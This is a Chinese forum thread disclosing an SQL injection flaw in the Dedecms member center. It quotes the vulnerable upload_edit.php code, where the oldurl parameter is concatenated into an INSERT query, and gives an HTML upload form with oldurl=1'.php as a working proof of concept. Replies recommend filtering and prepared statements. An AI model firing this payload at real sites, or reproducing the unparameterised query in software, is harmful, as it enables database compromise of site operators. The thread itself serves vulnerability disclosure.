Dedecms 会员中心注入漏洞7
<pre><code>member/upload_edit.phpelse if($dopost=='save')
{
$title = HtmlReplace($title,2);
if($mediatype==1) $utype = 'image';
else if($mediatype==2)
{
$utype = 'flash';
}
else if($mediatype==3)
{
$utype = 'media';
}
else
{
$utype = 'addon';
}
$title = HtmlReplace($title, 2);
$exname = preg_replace("#(.*)/#", "", $oldurl);// 文件名是获取.前面的
$exname = preg_replace("#\.(.*)$#", "", $exname);
echo $exname ;
$filename = MemberUploads('addonfile', $oldurl, $cfg_ml->M_ID,
$utype,$exname, -1, -1, TRUE);//返回上传的文件名
SaveUploadInfo($title, $filename, $mediatype);//利用返回的带入查询
ShowMsg("成功修改文件!", "uploads_edit.php?aid=$aid");
}
function SaveUploadInfo($title,$filename,$medaitype=1,$addinfos='')
{
global $dsql,$cfg_ml,$cfg_basedir;
if($filename=='')
{
return FALSE;
}
if(!is_array($addinfos))
{
$addinfos = $addinfos = $addinfos = 0;
}
if($medaitype==1)
{
$info = '';
$addinfos = GetImageSize($cfg_basedir.$filename,$info);
}
$addinfos = @filesize($cfg_basedir.$filename);
$row = $dsql->GetOne("SELECT aid,title,url FROM `#@__uploads` WHERE url
LIKE '$filename' AND mid='".$cfg_ml->M_ID."'; ");
$uptime = time();
if(is_array($row))
{
$query = "UPDATE `#@__uploads` SET
title='$title',mediatype='$medaitype',
width='{$addinfos}',height='{$addinfos
}',filesize='{$addinfos}',uptime='$uptime'
WHERE aid='{$row['aid']}'; ";
$dsql->ExecuteNoneQuery($query);
}
else
{
$inquery = "INSERT INTO `#@__uploads`
(title,url,mediatype,width,height,playtime,filesize,uptime,mid)
VALUES ('$title','$filename','$medaitype','".$addinfos
."','".$addinfos."','0','".$addinfos."','$uptime','".$cfg_ml-
>M_ID."'); ";echo $inquery ;//注入就在这里发生了!
$dsql->ExecuteNoneQuery($inquery);
}
$fid = $dsql->GetLastID();
AddMyAddon($fid, $filename);
return TRUE;
}</code></pre>
利用方法
<pre><code><form id="frmUpload" enctype="multipart/form-data"
action="http://127.0.0.1/dede/member/uploads_edit.php?
dopost=save&title=ss&oldurl=1'.php" method="post">看Oldurl就知道了~
<input type="file" name="addonfile" id="addonfile" size="50"><br>
<input name="mode" type="hidden" value="2">
<input id="btnUpload" type="submit" value="Upload">
Re: Dedecms 会员中心注入漏洞7
这个注入点挖得够细,代码里 `$oldurl` 直接传进 `MemberUploads` 后返回 `$filename`,再拼到 `SaveUploadInfo` 的 SQL 查询里,根本没做过滤或参数化。利用方法里把 `oldurl` 带上单引号和 `.php` 就能闭合,挺典型的二次传递注入。Dedecms 老版本这种问题不少,建议站长赶紧检查 `uploads_edit.php` 的 `dopost=save` 分支,对 `$oldurl` 做严格过滤或者改用预编译。感谢分享!Re: Dedecms 会员中心注入漏洞7
感谢楼主分享这个漏洞细节,代码分析得很清楚,oldurl参数直接拼接进SQL查询确实存在注入风险。这种方式利用上传功能闭合单引号进行注入,思路很巧妙。建议使用该CMS的站长尽快检查相关文件并打补丁或限制上传参数。Re: Dedecms 会员中心注入漏洞7
感谢分享这个漏洞细节!`oldurl`参数过滤不严就拼进SQL语句,确实是个典型的注入点。直接用上传表单构造请求就能触发,挺危险的。希望用Dedecms的朋友尽快检查会员中心的这个文件,临时修复可以先把`oldurl`参数过滤一下。
页:
[1]